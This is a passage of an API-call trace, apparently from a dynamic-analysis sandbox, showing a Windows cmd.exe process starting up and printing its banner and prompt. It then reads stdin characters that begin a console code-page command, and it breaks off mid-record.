returned 0x390000 [0265.043] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x218) returned 0x3aaae0 [0265.043] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3aaaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0265.044] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0265.044] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0265.044] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0265.044] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0265.044] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0265.044] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0265.044] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0265.044] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0265.044] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0265.044] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0265.044] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0265.044] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0265.044] GetProcessHeap () returned 0x390000 [0265.044] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9560 | out: hHeap=0x390000) returned 1 [0265.044] GetEnvironmentStringsW () returned 0x3a8aa0* [0265.044] GetProcessHeap () returned 0x390000 [0265.044] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xacc) returned 0x3aad00 [0265.044] FreeEnvironmentStringsW (penv=0x3a8aa0) returned 1 [0265.044] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0265.044] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0265.044] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0265.044] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0265.044] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0265.044] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0265.044] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0265.044] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0265.044] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0265.044] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0265.044] GetProcessHeap () returned 0x390000 [0265.044] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x38) returned 0x3a64d0 [0265.044] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1af820 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0265.045] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x1af820, lpFilePart=0x1af800 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1af800*="system32") returned 0x13 [0265.045] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0265.045] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x1af530 | out: lpFindFileData=0x1af530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0x3ab7e0 [0265.045] FindClose (in: hFindFile=0x3ab7e0 | out: hFindFile=0x3ab7e0) returned 1 [0265.045] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x1af530 | out: lpFindFileData=0x1af530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc31cdb0, ftLastAccessTime.dwHighDateTime=0x1d543f6, ftLastWriteTime.dwLowDateTime=0xbc31cdb0, ftLastWriteTime.dwHighDateTime=0x1d543f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0x3ab7e0 [0265.045] FindClose (in: hFindFile=0x3ab7e0 | out: hFindFile=0x3ab7e0) returned 1 [0265.045] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0265.045] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0265.045] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0265.045] GetProcessHeap () returned 0x390000 [0265.045] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3aad00 | out: hHeap=0x390000) returned 1 [0265.045] GetEnvironmentStringsW () returned 0x3aad00* [0265.045] GetProcessHeap () returned 0x390000 [0265.045] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xafc) returned 0x3a8aa0 [0265.045] FreeEnvironmentStringsW (penv=0x3aad00) returned 1 [0265.045] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a50c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0265.045] GetProcessHeap () returned 0x390000 [0265.045] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a64d0 | out: hHeap=0x390000) returned 1 [0265.045] GetProcessHeap () returned 0x390000 [0265.045] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x4016) returned 0x3aad00 [0265.045] GetProcessHeap () returned 0x390000 [0265.045] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3aad00 | out: hHeap=0x390000) returned 1 [0265.046] GetConsoleOutputCP () returned 0x1b5 [0265.046] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a50bfe0 | out: lpCPInfo=0x4a50bfe0) returned 1 [0265.046] GetUserDefaultLCID () returned 0x409 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a507b50, cchData=8 | out: lpLCData=":") returned 2 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1af930, cchData=128 | out: lpLCData="0") returned 2 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1af930, cchData=128 | out: lpLCData="0") returned 2 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1af930, cchData=128 | out: lpLCData="1") returned 2 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a51a740, cchData=8 | out: lpLCData="/") returned 2 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a51a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a51a460, cchData=32 | out: lpLCData="Tue") returned 4 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a51a420, cchData=32 | out: lpLCData="Wed") returned 4 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a51a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a51a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a51a360, cchData=32 | out: lpLCData="Sat") returned 4 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a51a700, cchData=32 | out: lpLCData="Sun") returned 4 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a507b40, cchData=8 | out: lpLCData=".") returned 2 [0265.046] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a51a4e0, cchData=8 | out: lpLCData=",") returned 2 [0265.046] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0265.047] GetProcessHeap () returned 0x390000 [0265.047] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x20c) returned 0x3a9620 [0265.047] GetConsoleTitleW (in: lpConsoleTitle=0x3a9620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0265.051] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.051] GetFileType (hFile=0xf4) returned 0x3 [0265.052] BrandingFormatString () returned 0x3a9840 [0265.055] GetVersion () returned 0x1db10106 [0265.055] _vsnwprintf (in: _Buffer=0x1afaa0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1afa38 | out: _Buffer="6.1.7601") returned 8 [0265.055] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.055] GetFileType (hFile=0xf4) returned 0x3 [0265.055] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a516340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0265.056] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a516340, nSize=0x2000, Arguments=0x1afa40 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0265.056] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0265.056] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1af9c8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1af9c8*=0x24, lpOverlapped=0x0) returned 1 [0265.056] _vsnwprintf (in: _Buffer=0x4a516340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1afa68 | out: _Buffer="\r\n") returned 2 [0265.056] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.056] GetFileType (hFile=0xf4) returned 0x3 [0265.056] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0265.056] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1afa38, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1afa38*=0x2, lpOverlapped=0x0) returned 1 [0265.056] _vsnwprintf (in: _Buffer=0x4a516340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1afa68 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0265.056] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.056] GetFileType (hFile=0xf4) returned 0x3 [0265.056] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0265.056] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1afa38, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1afa38*=0x3f, lpOverlapped=0x0) returned 1 [0265.056] _vsnwprintf (in: _Buffer=0x4a516340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1afa68 | out: _Buffer="\r\n") returned 2 [0265.056] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.056] GetFileType (hFile=0xf4) returned 0x3 [0265.057] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0265.057] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1afa38, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1afa38*=0x2, lpOverlapped=0x0) returned 1 [0265.057] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x777d0000 [0265.057] GetProcAddress (hModule=0x777d0000, lpProcName="CopyFileExW") returned 0x777e23d0 [0265.057] GetProcAddress (hModule=0x777d0000, lpProcName="IsDebuggerPresent") returned 0x777d8290 [0265.057] GetProcAddress (hModule=0x777d0000, lpProcName="SetConsoleInputExeNameW") returned 0x777e17e0 [0265.057] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.057] GetFileType (hFile=0xe8) returned 0x3 [0265.057] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0265.057] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1af890 | out: TokenHandle=0x1af890*=0x0) returned 0xc000007c [0265.057] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1af890 | out: TokenHandle=0x1af890*=0x50) returned 0x0 [0265.057] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x1af8a0, TokenInformationLength=0x4, ReturnLength=0x1af8a8 | out: TokenInformation=0x1af8a0, ReturnLength=0x1af8a8) returned 0x0 [0265.059] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x1af8a8, TokenInformationLength=0x4, ReturnLength=0x1af8a0 | out: TokenInformation=0x1af8a8, ReturnLength=0x1af8a0) returned 0x0 [0265.059] NtClose (Handle=0x50) returned 0x0 [0265.059] GetProcessHeap () returned 0x390000 [0265.059] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3aaae0 | out: hHeap=0x390000) returned 1 [0265.060] _vsnwprintf (in: _Buffer=0x4a516340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af5a8 | out: _Buffer="\r\n") returned 2 [0265.060] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.060] GetFileType (hFile=0xf4) returned 0x3 [0265.060] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0265.060] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af578, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1af578*=0x2, lpOverlapped=0x0) returned 1 [0265.060] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0265.060] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a50c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0265.060] _vsnwprintf (in: _Buffer=0x4a4feb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af5b8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0265.060] _vsnwprintf (in: _Buffer=0x4a4feb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x1af5b8 | out: _Buffer=">") returned 1 [0265.060] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.060] GetFileType (hFile=0xf4) returned 0x3 [0265.060] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0265.060] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1af5a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1af5a8*=0x14, lpOverlapped=0x0) returned 1 [0265.060] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.060] GetFileType (hFile=0xe8) returned 0x3 [0265.060] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.060] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.060] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0265.061] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.061] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.061] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0265.061] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.061] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.061] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0265.061] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.061] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.061] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0265.061] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.061] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.061] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0265.061] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.061] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.061] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0265.061] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.061] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.061] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0265.061] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.061] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.061] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0265.061] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.061] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.061] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0265.061] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.061] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.061] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.062] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.062] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.062] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.062] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.062] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.062] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.062] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.062] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0265.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0265.062] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.062] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.062] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, 